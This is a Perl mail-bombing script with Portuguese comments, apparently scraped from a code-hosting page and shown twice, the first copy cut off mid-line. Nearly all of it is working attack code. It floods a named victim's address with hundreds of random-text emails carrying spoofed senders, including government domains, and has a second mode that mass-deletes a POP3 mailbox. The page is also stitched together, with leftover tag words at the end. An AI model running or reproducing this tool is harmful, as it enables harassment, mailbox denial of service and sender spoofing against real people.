#!/usr/bin/perl ########################################################### # maila.pl 0.1.5 by guybrush` # ########################################################### # Este script é a cura e a doença ao mesmo tempo. É um # # mail bomber que pode ser executado em um servidor em # # background. Mas é também equipado com um limpador de # # caixa de correio, para neutralizar mailbombings de ou- # # tras pessoas. # ########################################################### # Requisitos: # # ------------------------------------------------------- # # 1. Um computador :) # # 2. Um servidor SMTP que permita enviar emails # # 3. Uma vida # ########################################################### # Uso: # # ------------------------------------------------------- # # ./maila.pl [-c -s servidor -u userid -p password] # # [-m -s servidor -d email -n number] # # -c - Ativa o limpador de pop3 # # -s - endereço do servidor pop3 # # -u - userid da conta # # -p - senha da conta # # -m - Ativa o mail bomber # # -s - servidor de email que permita enviar emails # # -d - endereço de email da vitima # # -n - número de mensagens que vai enviar # ########################################################### # Greets: # # ------------------------------------------------------- # # Thanks to #perl@ircnet, DeMa, raptor, me, myself and I # # Traduzido por: [email protected] # ########################################################### use IO::Socket; use Getopt::Std; getopts("cms:u:p:d:n:"); if ($opt_c && $opt_m) { usage(); } if (!$opt_c && !$opt_m) { usage(); } if ($opt_c) { if (!($opt_s) || !($opt_u) || !($opt_p)) { usage(); } } if ($opt_m) { if (!($opt_s) || !($opt_d) || !($opt_n)) { usage(); } } if ($opt_c) { $host = $opt_s; $user = $opt_u; $pass = $opt_p; $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"110") || die "Host não encontrado, parou em"; print "Limpando a conta $user@$host ...\n"; $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("user $user\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("pass $pass\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("list\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { while (<$remote> !~ /^./) { $temp = <$remote>; ($cn, $rudo) = split(/ /,$temp); } print "Apagando $cn mensagens...\n"; for ($i = 1;$i <= $cn;$i++) { print $remote ("dele $i\r\n"); if ($temp =~ m/OK/) { next; } } } else { die; } print "Feito!\n"; print $remote "quit\n"; $remote->flush(); close($remote); } if ($opt_m) { $host = $opt_s; $rcpt = $opt_d; $numb = $opt_n; print "Mailbombing $rcpt com $numb mensagens...\n"; for ($i = 1; $i <= $numb; $i++) { $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"25") || die "Host nao encontrado, parou em"; $temp = <$remote>; if ($temp =~ m/220/) { print $remote "helo hackers.com\n"; } else { next; } $temp = <$remote>; $mitt = &mittente; if ($temp =~ m/250/) { print $remote "mail from: $mitt\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "rcpt to: $rcpt\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "data\n"; } else { next; } $temp = <$remote>; $messaggio = &messaggio; if ($temp =~ m/354/) { print $remote "$messaggio\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "quit\n"; } else { next; } $remote->flush(); close($remote); } print "Feito!\n"; } sub messaggio { $a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G,H,I,L,M,N,O,P,Q,R,S,T,U,V,Z,X,Y,J,K"; (@alfa) = split(/,/,$a); $messa = "Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58\nMessage-ID: <[email protected]>\nTo: <$rcpt>\nDate: Sun, 12 Oct 97 11:30:27\nSubject: Try to save yourself\n\n@alfa[rand(
giry / bombeeer.py Goto Github PK
View Code? Open in Web Editor NEW#!/usr/bin/perl ########################################################### # maila.pl 0.1.5 by guybrush` # ########################################################### # Este script é a cura e a doença ao mesmo tempo. É um # # mail bomber que pode ser executado em um servidor em # # background. Mas é também equipado com um limpador de # # caixa de correio, para neutralizar mailbombings de ou- # # tras pessoas. # ########################################################### # Requisitos: # # ------------------------------------------------------- # # 1. Um computador :) # # 2. Um servidor SMTP que permita enviar emails # # 3. Uma vida # ########################################################### # Uso: # # ------------------------------------------------------- # # ./maila.pl [-c -s servidor -u userid -p password] # # [-m -s servidor -d email -n number] # # -c - Ativa o limpador de pop3 # # -s - endereço do servidor pop3 # # -u - userid da conta # # -p - senha da conta # # -m - Ativa o mail bomber # # -s - servidor de email que permita enviar emails # # -d - endereço de email da vitima # # -n - número de mensagens que vai enviar # ########################################################### # Greets: # # ------------------------------------------------------- # # Thanks to #perl@ircnet, DeMa, raptor, me, myself and I # # Traduzido por: [email protected] # ########################################################### use IO::Socket; use Getopt::Std; getopts("cms:u:p:d:n:"); if ($opt_c && $opt_m) { usage(); } if (!$opt_c && !$opt_m) { usage(); } if ($opt_c) { if (!($opt_s) || !($opt_u) || !($opt_p)) { usage(); } } if ($opt_m) { if (!($opt_s) || !($opt_d) || !($opt_n)) { usage(); } } if ($opt_c) { $host = $opt_s; $user = $opt_u; $pass = $opt_p; $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"110") || die "Host não encontrado, parou em"; print "Limpando a conta $user\@$host ...\n"; $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("user $user\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("pass $pass\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("list\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { while (<$remote> !~ /^\./) { $temp = <$remote>; ($cn, $rudo) = split(/ /,$temp); } print "Apagando $cn mensagens...\n"; for ($i = 1;$i <= $cn;$i++) { print $remote ("dele $i\r\n"); if ($temp =~ m/OK/) { next; } } } else { die; } print "Feito!\n"; print $remote "quit\n"; $remote->flush(); close($remote); } if ($opt_m) { $host = $opt_s; $rcpt = $opt_d; $numb = $opt_n; print "Mailbombing $rcpt com $numb mensagens...\n"; for ($i = 1; $i <= $numb; $i++) { $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"25") || die "Host nao encontrado, parou em"; $temp = <$remote>; if ($temp =~ m/220/) { print $remote "helo hackers.com\n"; } else { next; } $temp = <$remote>; $mitt = &mittente; if ($temp =~ m/250/) { print $remote "mail from: $mitt\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "rcpt to: $rcpt\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "data\n"; } else { next; } $temp = <$remote>; $messaggio = &messaggio; if ($temp =~ m/354/) { print $remote "$messaggio\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "quit\n"; } else { next; } $remote->flush(); close($remote); } print "Feito!\n"; } sub messaggio { $a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G,H,I,L,M,N,O,P,Q,R,S,T,U,V,Z,X,Y,J,K"; (@alfa) = split(/,/,$a); $messa = "Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58\nMessage-ID: <123.AA11345\@fanculo.com>\nTo: <$rcpt>\nDate: Sun, 12 Oct 97 11:30:27\nSubject: Try to save yourself\n\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n\n.\n"; $messa } sub mittente { $a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0"; (@alfa) = split(/,/,$a); $m = @alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]; @domains = ("microsoft.com","libero.it","tiscalinet.it","katamail.it","tin.it","mail.com","hotmail.com","cia.gov","fbi.gov","nasa.gov","hackers.com","adultcheck.com","ciao.it","trovamore.com","abc.de","cybererotica.com","pmp.it","infinito.it","mp3.com","yahoo.com","ciaoweb.it","galactica.it","namezero.com","flashnet.it","ircd.it","funet.fi","stealth.net","webbernet.net","tvtb.it"); $dominio = @domains[rand($#domains)]; $mittente = "$m\@$dominio"; $mittente } sub usage { print STDERR <<EOF; Uso: $0 [-c -s server -u userid -p password] [-m -s server -d address -n number] -c - Ativa o limpador de pop3 -s - endereço do servidor pop3 -u - userid da conta -p - senha da conta -m - Ativa o mail bomber -s - servidor de email que permita enviar emails -d - endereço de email da vitima -n - número de mensagens que vai enviar Examplos: $0 -c -s pop3.server.com -u foobar -p dunno $0 -m -s mail.server.cz -d foobar\@server.com -n 500 EOF exit; }
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent